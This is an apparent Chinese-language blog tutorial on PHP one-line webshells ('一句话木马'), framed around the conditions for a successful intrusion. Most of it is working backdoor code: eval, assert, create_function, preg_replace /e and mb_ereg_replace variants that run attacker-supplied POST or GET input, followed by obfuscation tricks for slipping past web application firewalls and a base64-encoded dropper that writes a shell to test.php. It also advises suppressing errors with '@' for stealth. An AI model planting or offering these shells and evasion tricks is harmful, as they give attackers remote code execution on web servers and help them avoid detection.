php 一句话木马

作者: 佩玖吟 | 来源:发表于2021-07-09 18:30 被阅读0次

入侵条件

只要攻击者满足三个条件,就能实现成功入侵:

  1. 木马上传成功,未被waf拦截;

  2. 知道木马的路径在哪;

  3. 上传的木马能正常运行。

eval和assert

php任意代码执行的一句话后门,我们喜欢用的是传统的eval,php5,7通用。

<?php @eval($_GET["cmd"]); ?>

eval() 函数把字符串按照 PHP 代码来执行,上面的代码含义是获取 cmd 参数中代码来执行:如 cmd=echo 'hello,world!';,会打印出 hello world!

image.png
<?php @assert($_POST['a']) ?>

assert() 会检查指定的 assertion 并在结果为 FALSE 时采取适当的行动。如果 assertion 是字符串,它将会被 assert() 当做 PHP 代码来执行。
虽然有人说assert在php7.0及其以上版本被禁用,但实际上并没有禁用,而是和eval一样禁止拆分了。这样就很容易被识别到。

绝大部分一句话后门,都跟这两个函数(其实不是函数)有关。

create_function和preg_replace函数

create_function,它的作用是创建一个匿名函数,在内部也相当于执行了一次eval。php5,7都可用

<?php $st=@create_function('',$_POST['a']);$st();?>

/e修饰符,也就是大家熟知的preg_replace。这个则是真的php7用不了了,仅限php5。

<?php @preg_replace('/.*/e',$_POST['a'],'');?>

除了preg_replace之外,还有一个和它类似的函数。

<?php @preg_filter('/.*/e',$_POST['a'],'');?>

这两个都是仅限php5的,php7也想用这种方法怎么办呢?有办法,php并没有完全将/e修饰符赶尽杀绝。

<?php @mb_ereg_replace('.*',$_POST['a'],'','ee');?>
<?php @mb_eregi_replace('.*',$_POST['a'],'','ee');?>

它们甚至还有别名

<?php @mbereg_replace('.*',$_POST['a'],'','ee');?>
<?php @mberegi_replace('.*',$_POST['a'],'','ee');?>

绕过 WAF

WAF通常会以关键字判断是否为一句话木马,所以要将一句话木马变形使用,从而绕过 waf:

  1. php变量函数
<?php
  $a = "assert";
  $a($_POST['hacker']); 
?>

使用了变量函数 $a,变量储存了函数名,便可以直接用变量替代函数名。

  1. php可变变量
<?php
  $b = "assert";
  $a = 'b';
  $$a($_POST['hacker']);
?>
  1. str_replace函数
<?php
  $a = str_replace("b", "", "absbsbebrbt");
  $a($_POST['hacker']);
?>
    此函数作用是:在第三个参数中查找第一个参数,并替换成第二个参数。这里第二个参数为空字符串,就相当于删除“b”。
  1. base64_decode 函数
<?php
  $a = base64_decode("YXNzZXJ0");
  $a($_POST['hacker']);
?>

这是base64解密函数,“YXNzZXJ0”是“assert”字符串的base64加密。
当然,也可以这样:

<?php
  @fputs(fopen(base64_decode('dGVzdC5waHA='),w),
  base64_decode('PD9waHAgQGV2YWwoJF9QT1NUWydoYWNrZXInXSk7Pz4='));
?>

"dGVzdC5waHA="base64解码后是“test.php”,
“PD9waHAgQGV2YWwoJF9QT1NUWydoYWNrZXInXSk7Pz4=”解码后就是
“<?php @eval($_POST['hacker']);?>”
这个相当于生成一个test.php的文件,并在文件中写入了一句话木马。

  1. 使用"."连接字符串
<?php
  $b = "a"."ss";
  $c = "er"."t";
  $a = $b.$c;
  $a($_POST['hacker']);
?>
  1. parse_str函数
<?php
  $str = "a=assert";
  parse_str($str);          //parse_str("a=assert");
  $a($_POST['hacker']);
?>

执行此函数后,将生成一个变量a,变量a的值为字符串”assert”。
最后举个例子:

<?php
  function fun(){
    return $_POST['hacker'];
  }
  @preg_replace("/test/e", fun(), "testtesttest");
?>

以上六种技巧每一种单独使用都不能绕过waf,但是与 0x02 中提到的函数混合起来使用,就可以顺利的欺骗waf。

tips:使用一句话木马的时候可以在函数前加”@”符,这个符号让php语句不显示错误信息,增加隐蔽性。

相关文章

  • 爱春秋-Upload

    一句话木马,第一次接触。可以上传一个文件,同时还能打开这个文件,因此上传一个php木马。 原本的php是

  • 一句话木马

    一句话木马 asp php aspx 一句话木马变形 jsp脚本后门 先把下面的代码保存为 one.jsp (该代...

  • webshell

    打开题目显示 看到一句话木马,而且题目描述提示一句话木马放在index.php中。用菜刀连接。 连接后看到flag...

  • 网络安全实验报告 第四章

    中国菜刀配合一句话木马基本使用 菜刀的主要功能是用来连接一句话木马的,asp、aspx、php的一句话菜刀都可以连...

  • 一句话后门变形

    三个变形的一句话PHP木马 1、$hh="p"."r"."e"."g"."_"."r"."e"."p"."l"."...

  • 使用python链接一句话木马的简单操作

    原理是在这样的一句话木马中,通过给pass这个值赋予内...

  • php 一句话木马

    入侵条件 只要攻击者满足三个条件,就能实现成功入侵: 木马上传成功,未被waf拦截; 知道木马的路径在哪; 上传的...

  • PHP之一句话木马

    一句话木马 一句话木马就是只需要一行代码的木马,短短一行代码,就能做到和大马相当的功能。为了绕过waf的检测,一句...

  • 一句话木马

    asp一句话木马是<%execute(request("value"))%> aspx的一句话木马是<%@ Pag...

  • PHP一句话木马之小马

    什么是一句话木马 一句话木马就是只需要一行代码的木马,短短一行代码,就能做到和大马相当的功能。为了绕过waf的检测...

网友评论

    本文标题:php 一句话木马

    本文链接:https://www.haomeiwen.com/subject/jksfpltx.html